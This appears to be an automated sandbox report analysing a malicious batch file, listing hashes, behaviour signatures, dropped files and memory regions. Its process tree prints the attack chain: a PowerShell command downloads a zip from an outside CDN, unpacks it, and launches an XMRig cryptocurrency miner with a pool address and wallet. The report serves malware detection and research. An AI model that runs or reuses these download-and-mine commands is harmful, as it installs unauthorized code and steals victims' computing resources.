Analysis

  • max time kernel
    1793s
  • max time network
    1781s
  • platform
    windows10-1703_x64
  • resource
    win10-20231129-en
  • resource tags

    arch:x64arch:x86image:win10-20231129-enlocale:en-usos:windows10-1703-x64system
  • submitted
    11/12/2023, 01:48

General

  • Target

    tesy - Copy (3).bat

  • Size

    706B

  • MD5

    035f17438f6146d5ac7285b4adfeb370

  • SHA1

    ef83c877367e96073e2b9b841d9c03ece6b1df7e

  • SHA256

    02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0

  • SHA512

    49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (3).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:508
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2260
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:836
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4312
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:4628
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k netsvcs -s wlidsvc
    1⤵
    • Drops file in System32 directory
    • Modifies data under HKEY_USERS
    PID:2160

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\Microsoft\IdentityCRL\production\ppcrlconfig600.dll

    Filesize

    26KB

    MD5

    6f6a6e38715c9b3838f95e03fa0567f3

    SHA1

    40bffba8deebcfa89ff78591d1697290a8f8145d

    SHA256

    b1eab91db2cb293c153d0cb5ebf1ac3a9d50ac75d050403e8b9e1ec68881bd5f

    SHA512

    b1ecc5e8aff711a0ec8aa9d8415e1b26b06bc8e5607f26baba34506c30849b091e2fb3ea7051471000640c869aa9024e09749cbeac5595c16a4806d15f3221c2

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    e54de56a0181974018f9667d54589273

    SHA1

    7a6cea0cb6b2776f0e2ad8e2239c811b43d0f66f

    SHA256

    e489c572fa014d1f637d9e161b8276f02fc492d716603d2b6fdd37f3f43d6b25

    SHA512

    1f5a110634e7232cd74c9eabf63f5be3ff49ae923572c5ad561d7c80da11fbf48120fc635c037d75c879f44efb0a3385f5de04b7ce4ec3a6f56e9c95f88bee40

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ugpcnued.2go.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\test1.zip

    Filesize

    425KB

    MD5

    c0f5e3ea63d119f16501eeacf150f903

    SHA1

    64bf3728d873169d0344deec43424ccb49cc64a0

    SHA256

    99f00027642ef250c988447aabb610bb275982455bd4d32905f1b59faef6e05d

    SHA512

    24d006e01487b2d24223a3a5a25ce1d3a1de7b92c71962d68656e8ddfd99f72fbbe1eb3f508f01265d05de7ce65b7127b95882f016d60268cdd3b6d6bba0d032

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

    Filesize

    278B

    MD5

    080123b6eac4a332d3f2b11f6eb3aa54

    SHA1

    8f3d40eae881e3b871cff2aa85521d727ada2a64

    SHA256

    cd7f2c4251361d8e83bc1857767c6eb20d305605ca78418aca3af439ff7d41e2

    SHA512

    0c5033e8a72a924d360bec1b1304889b23dea6a514cd18b055824c19d440a2875472ba70202efb4b7b636398ebd114b365ce88ca18b88a129588639c26d62d8c

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

    Filesize

    588KB

    MD5

    b1cabc4a2840ea1cc047f5b28689cbf8

    SHA1

    5efe939952ff27cdf2a48fcb0949c0c4d5d5a697

    SHA256

    671772999c33c9a85dde90e3e7c86c537dbe7b11997943b599767e89af00348d

    SHA512

    9cb397bf58c0225e067b842425c37acbfcc242227be9495aacdf18cefd8026cad45b6ec0cd9ed21c78cc1708fd1b3fbf83dcaa845b0ff1821086b8720761a944

  • memory/836-39-0x00007FFFF2390000-0x00007FFFF2D7C000-memory.dmp

    Filesize

    9.9MB

  • memory/836-82-0x0000015CB7900000-0x0000015CB7912000-memory.dmp

    Filesize

    72KB

  • memory/836-40-0x0000015C9F4E0000-0x0000015C9F4F0000-memory.dmp

    Filesize

    64KB

  • memory/836-105-0x00007FFFF2390000-0x00007FFFF2D7C000-memory.dmp

    Filesize

    9.9MB

  • memory/836-95-0x0000015CB7760000-0x0000015CB776A000-memory.dmp

    Filesize

    40KB

  • memory/836-41-0x0000015C9F4E0000-0x0000015C9F4F0000-memory.dmp

    Filesize

    64KB

  • memory/836-68-0x0000015C9F4E0000-0x0000015C9F4F0000-memory.dmp

    Filesize

    64KB

  • memory/2260-4-0x000002386AFF0000-0x000002386B012000-memory.dmp

    Filesize

    136KB

  • memory/2260-33-0x00007FFFF2390000-0x00007FFFF2D7C000-memory.dmp

    Filesize

    9.9MB

  • memory/2260-28-0x000002386B030000-0x000002386B040000-memory.dmp

    Filesize

    64KB

  • memory/2260-11-0x000002386B2C0000-0x000002386B336000-memory.dmp

    Filesize

    472KB

  • memory/2260-9-0x000002386B030000-0x000002386B040000-memory.dmp

    Filesize

    64KB

  • memory/2260-6-0x000002386B030000-0x000002386B040000-memory.dmp

    Filesize

    64KB

  • memory/2260-5-0x00007FFFF2390000-0x00007FFFF2D7C000-memory.dmp

    Filesize

    9.9MB

  • memory/4628-133-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-145-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-112-0x0000025E2A9B0000-0x0000025E2A9D0000-memory.dmp

    Filesize

    128KB

  • memory/4628-113-0x0000025E2A9D0000-0x0000025E2A9F0000-memory.dmp

    Filesize

    128KB

  • memory/4628-114-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-115-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-117-0x0000025E2A9D0000-0x0000025E2A9F0000-memory.dmp

    Filesize

    128KB

  • memory/4628-116-0x0000025E2A9B0000-0x0000025E2A9D0000-memory.dmp

    Filesize

    128KB

  • memory/4628-118-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-119-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-120-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-121-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-122-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-123-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-124-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-125-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-126-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-127-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-128-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-129-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-130-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-131-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-132-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-110-0x0000025E2A990000-0x0000025E2A9B0000-memory.dmp

    Filesize

    128KB

  • memory/4628-134-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-135-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-136-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-137-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-138-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-139-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-140-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-141-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-142-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-143-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-144-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-111-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-146-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-147-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-148-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-149-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-150-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-151-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-152-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-153-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-154-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-155-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-156-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-157-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-158-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-159-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-160-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-161-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-162-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-163-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-164-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-165-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-166-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-109-0x0000025E2A830000-0x0000025E2A850000-memory.dmp

    Filesize

    128KB

  • memory/4628-188-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-189-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-190-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-191-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-192-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-193-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-194-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-195-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-196-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-197-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB

  • memory/4628-198-0x00007FF651D80000-0x00007FF652883000-memory.dmp

    Filesize

    11.0MB